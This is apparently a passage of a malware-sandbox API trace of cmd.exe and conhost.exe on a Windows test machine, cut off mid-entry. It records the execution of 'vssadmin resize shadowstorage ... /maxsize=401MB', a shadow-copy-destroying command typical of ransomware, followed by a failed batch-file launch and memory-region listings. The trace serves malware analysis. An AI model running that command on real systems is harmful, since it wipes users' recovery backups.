_wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0074.732] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0074.732] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0074.732] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0074.732] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0074.732] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0074.732] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0074.732] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0074.732] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0074.732] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0074.732] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0074.732] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0074.732] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0074.732] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0074.732] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0074.732] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0074.732] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0074.732] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0074.732] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0074.732] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0074.732] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0074.732] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0074.732] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0074.732] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0074.732] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0074.732] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0074.732] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0074.732] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0074.732] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0074.732] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0074.732] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0074.732] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0074.732] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0074.732] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0074.732] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0074.733] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0074.733] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0074.733] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0074.733] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0074.733] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0074.733] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0074.733] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0074.733] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0074.733] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0074.733] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0074.733] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0074.733] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0074.733] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0074.733] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0074.733] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0074.733] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0074.733] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0074.733] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0074.733] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0074.733] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0074.733] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0074.733] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0074.733] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0074.733] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0074.733] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0074.733] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0074.733] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0074.733] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0074.733] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0074.733] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0074.733] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0074.733] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0074.733] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0074.733] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0074.733] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0074.734] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0074.734] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0074.734] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0074.734] SetErrorMode (uMode=0x0) returned 0x0 [0074.734] SetErrorMode (uMode=0x1) returned 0x0 [0074.734] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xe688b8, lpFilePart=0xc5e864 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xc5e864*="Desktop") returned 0x1d [0074.734] SetErrorMode (uMode=0x0) returned 0x1 [0074.734] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0074.734] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.734] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0074.734] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.734] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xffffffff [0074.734] GetLastError () returned 0x2 [0074.734] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.735] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xffffffff [0074.735] GetLastError () returned 0x2 [0074.735] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.735] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xe69118 [0074.735] FindClose (in: hFindFile=0xe69118 | out: hFindFile=0xe69118) returned 1 [0074.735] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xffffffff [0074.735] GetLastError () returned 0x2 [0074.735] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xe69118 [0074.735] FindClose (in: hFindFile=0xe69118 | out: hFindFile=0xe69118) returned 1 [0074.735] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0074.735] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0074.735] GetConsoleTitleW (in: lpConsoleTitle=0xc5eae4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0074.736] InitializeProcThreadAttributeList (in: lpAttributeList=0xc5ea10, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc5e9f4 | out: lpAttributeList=0xc5ea10, lpSize=0xc5e9f4) returned 1 [0074.736] UpdateProcThreadAttribute (in: lpAttributeList=0xc5ea10, dwFlags=0x0, Attribute=0x60001, lpValue=0xc5e9fc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc5ea10, lpPreviousValue=0x0) returned 1 [0074.736] GetStartupInfoW (in: lpStartupInfo=0xc5ea48 | out: lpStartupInfo=0xc5ea48*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0074.737] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0074.737] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0074.738] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpStartupInfo=0xc5e998*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc5e9e4 | out: lpCommandLine="vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB", lpProcessInformation=0xc5e9e4*(hProcess=0xb0, hThread=0xb8, dwProcessId=0xe60, dwThreadId=0xe64)) returned 1 [0074.745] CloseHandle (hObject=0xb8) returned 1 [0074.745] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.745] GetEnvironmentStringsW () returned 0xe5b4a8* [0074.745] FreeEnvironmentStringsA (penv="=") returned 1 [0074.745] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0xffffffff) returned 0x0 [0075.027] GetExitCodeProcess (in: hProcess=0xb0, lpExitCode=0xc5e97c | out: lpExitCode=0xc5e97c*=0x2) returned 1 [0075.027] CloseHandle (hObject=0xb0) returned 1 [0075.027] _vsnwprintf (in: _Buffer=0xc5ea64, _BufferCount=0x13, _Format="%08X", _ArgList=0xc5e984 | out: _Buffer="00000002") returned 8 [0075.027] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0075.027] GetEnvironmentStringsW () returned 0xe5b4a8* [0075.027] FreeEnvironmentStringsA (penv="=") returned 1 [0075.027] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0075.027] GetEnvironmentStringsW () returned 0xe5b4a8* [0075.027] FreeEnvironmentStringsA (penv="=") returned 1 [0075.027] DeleteProcThreadAttributeList (in: lpAttributeList=0xc5ea10 | out: lpAttributeList=0xc5ea10) [0075.027] _get_osfhandle (_FileHandle=1) returned 0x3c [0075.027] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0075.028] _get_osfhandle (_FileHandle=1) returned 0x3c [0075.028] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xfce40c | out: lpMode=0xfce40c) returned 1 [0075.028] _get_osfhandle (_FileHandle=0) returned 0x38 [0075.028] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xfce408 | out: lpMode=0xfce408) returned 1 [0075.028] SetConsoleInputExeNameW () returned 0x1 [0075.028] GetConsoleOutputCP () returned 0x1b5 [0075.029] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfce460 | out: lpCPInfo=0xfce460) returned 1 [0075.029] SetThreadUILanguage (LangId=0x0) returned 0x409 [0075.029] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\clearnetworkdns_11-22-33.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc5f1a4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.029] GetLastError () returned 0x2 [0075.029] _get_osfhandle (_FileHandle=2) returned 0x40 [0075.029] GetFileType (hFile=0x40) returned 0x2 [0075.029] GetStdHandle (nStdHandle=0xfffffff4) returned 0x40 [0075.029] GetConsoleMode (in: hConsoleHandle=0x40, lpMode=0xc5f13c | out: lpMode=0xc5f13c) returned 1 [0075.029] _get_osfhandle (_FileHandle=2) returned 0x40 [0075.029] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x40, lpConsoleScreenBufferInfo=0xc5f18c | out: lpConsoleScreenBufferInfo=0xc5f18c) returned 1 [0075.030] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0xfd6940, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0075.038] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0xfd6940, nSize=0x2000, Arguments=0xc5f1bc | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0075.038] WriteConsoleW (in: hConsoleOutput=0x40, lpBuffer=0xfd6940*, nNumberOfCharsToWrite=0x21, lpNumberOfCharsWritten=0xc5f170, lpReserved=0x0 | out: lpBuffer=0xfd6940*, lpNumberOfCharsWritten=0xc5f170*=0x21) returned 1 [0075.038] CmdBatNotificationStub () returned 0x1 [0075.038] _get_osfhandle (_FileHandle=1) returned 0x3c [0075.038] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0075.038] _get_osfhandle (_FileHandle=1) returned 0x3c [0075.038] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xfce40c | out: lpMode=0xfce40c) returned 1 [0075.038] _get_osfhandle (_FileHandle=0) returned 0x38 [0075.038] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xfce408 | out: lpMode=0xfce408) returned 1 [0075.039] SetConsoleInputExeNameW () returned 0x1 [0075.039] GetConsoleOutputCP () returned 0x1b5 [0075.039] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfce460 | out: lpCPInfo=0xfce460) returned 1 [0075.039] SetThreadUILanguage (LangId=0x0) returned 0x409 [0075.039] exit (_Code=1) Thread: id = 14 os_tid = 0xdd8 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x29db3000" os_pid = "0xdc0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xdac" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 548 start_va = 0x7f67e000 end_va = 0x7f67efff entry_point = 0x0 region_type = private name = "private_0x000000007f67e000" filename = "" Region: id = 549 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 550 start_va = 0xec10f40000 end_va = 0xec10f5ffff entry_point = 0x0 region_type = private name = "private_0x000000ec10f40000" filename = "" Region: id = 551 start_va = 0xec10f60000 end_va = 0xec10f73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ec10f60000" filename = "" Region: id = 552 start_va = 0xec10f80000 end_va = 0xec10fbffff entry_point = 0x0 region_type = private name = "private_0x000000ec10f80000" filename = "" Region: id = 553 start_va = 0x7df5ffdb0000 end_va = 0x7ff5ffdaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffdb0000" filename = "" Region: id = 554 start_va = 0x7ff7d60b0000 end_va = 0x7ff7d60d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7d60b0000" filename = "" Region: id = 555 start_va = 0x7ff7d60db000 end_va = 0x7ff7d60dbfff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60db000" filename = "" Region: id = 556 start_va = 0x7ff7d60de000 end_va = 0x7ff7d60dffff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60de000" filename = "" Region: id = 557 start_va = 0x7ff7d6b10000 end_va = 0x7ff7d6b20fff entry_point = 0x7ff7d6b10000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 558 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 559 start_va = 0xec11070000 end_va = 0xec1116ffff entry_point = 0x0 region_type = private name = "private_0x000000ec11070000" filename = "" Region: id = 560 start_va = 0x7ffc55040000 end_va = 0x7ffc5521cfff entry_point = 0x7ffc55040000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 561 start_va = 0x7ffc55800000 end_va = 0x7ffc558acfff entry_point = 0x7ffc55800000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 562 start_va = 0xec10f40000 end_va = 0xec10f4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ec10f40000" filename = "" Region: id = 563 start_va = 0xec10fc0000 end_va = 0xec10ffffff entry_point = 0x0 region_type = private name = "private_0x000000ec10fc0000" filename = "" Region: id = 564 start_va = 0xec11170000 end_va = 0xec1122dfff entry_point = 0xec11170000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 565 start_va = 0x7ff7d5fb0000 end_va = 0x7ff7d60affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7d5fb0000" filename = "" Region: id = 566 start_va = 0x7ff7d60dc000 end_va = 0x7ff7d60ddfff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60dc000" filename = "" Region: id = 567 start_va = 0x7ffc552c0000 end_va = 0x7ffc5535cfff entry_point = 0x7ffc552c0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 568 start_va = 0xec10f50000 end_va = 0xec10f56fff entry_point = 0x0 region_type = private name = "private_0x000000ec10f50000" filename = "" Region: id = 569 start_va = 0xec11000000 end_va = 0xec11000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ec11000000" filename = "" Region: id = 570 start_va = 0xec11010000 end_va = 0xec11016fff entry_point = 0x0 region_type = private name = "private_0x000000ec11010000" filename = "" Region: id = 571 start_va = 0xec113e0000 end_va = 0xec113effff entry_point = 0x0 region_type = private name = "private_0x000000ec113e0000" filename = "" Region: id = 572 start_va = 0x7ffc4cf90000 end_va = 0x7ffc4cfe2fff entry_point = 0x7ffc4cf90000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 573 start_va = 0x7ffc511b0000 end_va = 0x7ffc51332fff entry_point = 0x7ffc511b0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 574 start_va = 0x7ffc55280000 end_va = 0x7ffc552b5fff entry_point = 0x7ffc55280000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 575 start_va = 0x7ffc55380000 end_va = 0x7ffc554dbfff entry_point = 0x7ffc55380000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 576 start_va = 0x7ffc554e0000 end_va = 0x7ffc5562dfff entry_point = 0x7ffc554e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 577 start_va = 0x7ffc55910000 end_va = 0x7ffc559cdfff entry_point = 0x7ffc55910000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 578 start_va = 0x7ffc56f10000 end_va = 0x7ffc57094fff entry_point = 0x7ffc56f10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 579 start_va = 0x7ffc570a0000 end_va = 0x7ffc571c5fff entry_point = 0x7ffc570a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 580 start_va = 0x7ffc571d0000 end_va = 0x7ffc5744bfff entry_point = 0x7ffc571d0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 581 start_va = 0x7ffc57540000 end_va = 0x7ffc5759afff entry_point = 0x7ffc57540000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 582 start_va = 0x7ffc57750000 end_va = 0x7ffc57890fff entry_point = 0x7ffc57750000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 583 start_va = 0xec11020000 end_va = 0xec11020fff entry_point = 0x0 region_type = private name = "private_0x000000ec11020000" filename = "" Region: id = 584 start_va = 0xec11030000 end_va = 0xec11030fff entry_point = 0x0 region_type = private name = "private_0x000000ec11030000" filename = "" Region: id = 585 start_va = 0xec11230000 end_va = 0xec113b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ec11230000" filename = "" Region: id = 586 start_va = 0xec113f0000 end_va = 0xec11570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ec113f0000" filename = "" Region: id = 587 start_va = 0xec11580000 end_va = 0xec1297ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ec11580000" filename = "" Region: id = 588 start_va = 0xec12980000 end_va = 0xec129bffff entry_point = 0x0 region_type = private name = "private_0x000000ec12980000" filename = "" Region: id = 589 start_va = 0xec12a40000 end_va = 0xec12a4ffff entry_point = 0x0 region_type = private name = "private_0x000000ec12a40000" filename = "" Region: id = 590 start_va = 0x7ff7d60d9000 end_va = 0x7ff7d60dafff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60d9000" filename = "" Region: id = 591 start_va = 0x7ffc54580000 end_va = 0x7ffc54592fff entry_point = 0x7ffc54580000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 592 start_va = 0x7ffc545a0000 end_va = 0x7ffc545e9fff entry_point = 0x7ffc545a0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 593 start_va = 0x7ffc54610000 end_va = 0x7ffc5461efff entry_point = 0x7ffc54610000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 594 start_va = 0x7ffc54670000 end_va 